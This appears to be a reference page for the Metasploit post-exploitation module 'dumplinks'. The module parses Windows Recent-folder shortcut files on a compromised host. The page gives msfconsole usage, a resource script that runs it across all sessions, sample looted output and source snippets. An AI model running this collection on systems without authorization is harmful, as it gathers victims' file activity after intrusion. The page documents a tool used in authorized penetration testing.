Windows Gather Dump Recent Files lnk Info - Metasploit


This page contains detailed information about how to use the post/windows/gather/dumplinks metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Windows Gather Dump Recent Files lnk Info
Module: post/windows/gather/dumplinks
Source code: modules/post/windows/gather/dumplinks.rb
Disclosure date: -
Last modification time: 2021-10-06 13:43:31 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script. This module will parse .lnk files from a user's Recent Documents folder and Microsoft Office's Recent Documents folder, if present. Windows creates these link files automatically for many common file types. The .lnk files contain time stamps, file locations, including share names, volume serial numbers, and more.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/dumplinks

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/dumplinks
msf post(dumplinks) > show options
    ... show and set options ...
msf post(dumplinks) > set SESSION session-id
msf post(dumplinks) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/dumplinks")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

The dumplinks module is a modified port of Harlan Carvey's lslnk.pl Perl script. This module will parse .lnk files from a user's Recent Documents folder and Microsoft Office's Recent Documents folder, if present. Windows creates these link files automatically for many common file types. The .lnk files contain time stamps, file locations, including share names, volume serial numbers, and more.

Verification Steps

  1. Start msfconsole
  2. Get meterpreter session
  3. Do: use post/windows/gather/dumplinks
  4. Do: set SESSION <session id>
  5. Do: run

Options

SESSION

The session to run the module on.

Scenarios

Windows 7 (6.1 Build 7601, Service Pack 1).

  [*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49160) at 2019-12-11 15:45:16 -0700

  msf > use post/windows/gather/dumplinks
  msf post(windows/gather/dumplinks) > set SESSION 1
    SESSION => 1
  msf post(windows/gather/dumplinks) > run

    [*] Running module against TEST-PC
    [*] Extracting lnk files for user TEST at C:\Users\TEST\AppData\Roaming\Microsoft\Windows\Recent\...
    [*] Processing: C:\Users\TEST\AppData\Roaming\Microsoft\Windows\Recent\myPasswords.lnk.
    [*] Processing: C:\Users\TEST\AppData\Roaming\Microsoft\Windows\Recent\Network and Internet.lnk.
    [*] No Recent Office files found for user TEST. Nothing to do.
    [*] Post module execution completed

Example of looted .lnk output

  [*] exec: cat /root/.msf4/loot/20191211154832_default_192.168.1.10_host.windows.lnk_124491.txt

  C:\Users\TEST\AppData\Roaming\Microsoft\Windows\Recent\myPasswords.lnk:
          Access Time       = 2019-12-11 23:44:39 -0700
          Creation Date     = 2019-12-11 23:44:39 -0700
          Modification Time = 2019-12-11 23:44:39 -0700
  Contents of C:\Users\TEST\AppData\Roaming\Microsoft\Windows\Recent\myPasswords.lnk:
          Flags:
                  Shell Item ID List exists.
                  Shortcut points to a file or directory.
                  The shortcut has a relative path string.
                  The shortcut has working directory.
          Attributes:
                  Target was modified since last backup.
          Target file's MAC Times stored in lnk file:
                  Creation Time     = 2019-12-11 23:44:30 -0700. (UTC)
                  Modification Time = 2019-12-11 23:44:30 -0700. (UTC)
                  Access Time       = 2019-12-11 23:44:30 -0700. (UTC)
          ShowWnd value(s):
                  SW_NORMAL.
                  SW_SHOWMAXIMIZED.
                  SW_SHOW.
                  SW_SHOWMINNOACTIVE.
                  SW_RESTORE.
        Target file's MAC Times stored in lnk file:
                  Creation Time     = 2019-12-11 23:44:30 -0700. (UTC)
                  Modification Time = 2019-12-11 23:44:30 -0700. (UTC)
                  Access Time       = 2019-12-11 23:44:30 -0700. (UTC)
        Shortcut file is on a local volume.
                  Volume Name =
                  Volume Type = Fixed
                  Volume SN   = 0x548EF20B
        Target path = C:\Users\TEST\Desktop\myPasswords.txt&..\..\..\..\..\Desktop\myPasswords.txtC:\Users\TEST\Desktop(

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Msfconsole Usage

Here is how the windows/gather/dumplinks post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/dumplinks

msf6 post(windows/gather/dumplinks) > show info

       Name: Windows Gather Dump Recent Files lnk Info
     Module: post/windows/gather/dumplinks
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  davehull <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  The dumplinks module is a modified port of Harlan Carvey's lslnk.pl 
  Perl script. This module will parse .lnk files from a user's Recent 
  Documents folder and Microsoft Office's Recent Documents folder, if 
  present. Windows creates these link files automatically for many 
  common file types. The .lnk files contain time stamps, file 
  locations, including share names, volume serial numbers, and more.

Module Options

This is a complete list of options available in the windows/gather/dumplinks post exploitation module:

msf6 post(windows/gather/dumplinks) > show options

Module options (post/windows/gather/dumplinks):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the windows/gather/dumplinks post exploitation module:

msf6 post(windows/gather/dumplinks) > show advanced

Module advanced options (post/windows/gather/dumplinks):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the windows/gather/dumplinks module can do:

msf6 post(windows/gather/dumplinks) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the windows/gather/dumplinks post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/dumplinks) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No Recent directory found for user <USERNAME>. Nothing to do.

Here is a relevant code snippet related to the "No Recent directory found for user <USERNAME>. Nothing to do." error message:

34:	    enum_users(sysinfo['OS']).each do |user|
35:	      if user['userpath']
36:	        print_status "Extracting lnk files for user #{user['username']} at #{user['userpath']}..."
37:	        extract_lnk_info(user['userpath'])
38:	      else
39:	        print_status "No Recent directory found for user #{user['username']}. Nothing to do."
40:	      end
41:	      if user['useroffcpath']
42:	        print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
43:	        extract_lnk_info(user['useroffcpath'])
44:	      else

No Recent Office files found for user <USERNAME>. Nothing to do.

Here is a relevant code snippet related to the "No Recent Office files found for user <USERNAME>. Nothing to do." error message:

40:	      end
41:	      if user['useroffcpath']
42:	        print_status "Extracting lnk files for user #{user['username']} at #{user['useroffcpath']}..."
43:	        extract_lnk_info(user['useroffcpath'])
44:	      else
45:	        print_status "No Recent Office files found for user #{user['username']}. Nothing to do."
46:	      end
47:	    end
48:	  end
49:	
50:	  def enum_users(os)

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See Also

Check also the following modules related to this module:

Authors

  • davehull <dph_msf[at]trustedsignal.com>

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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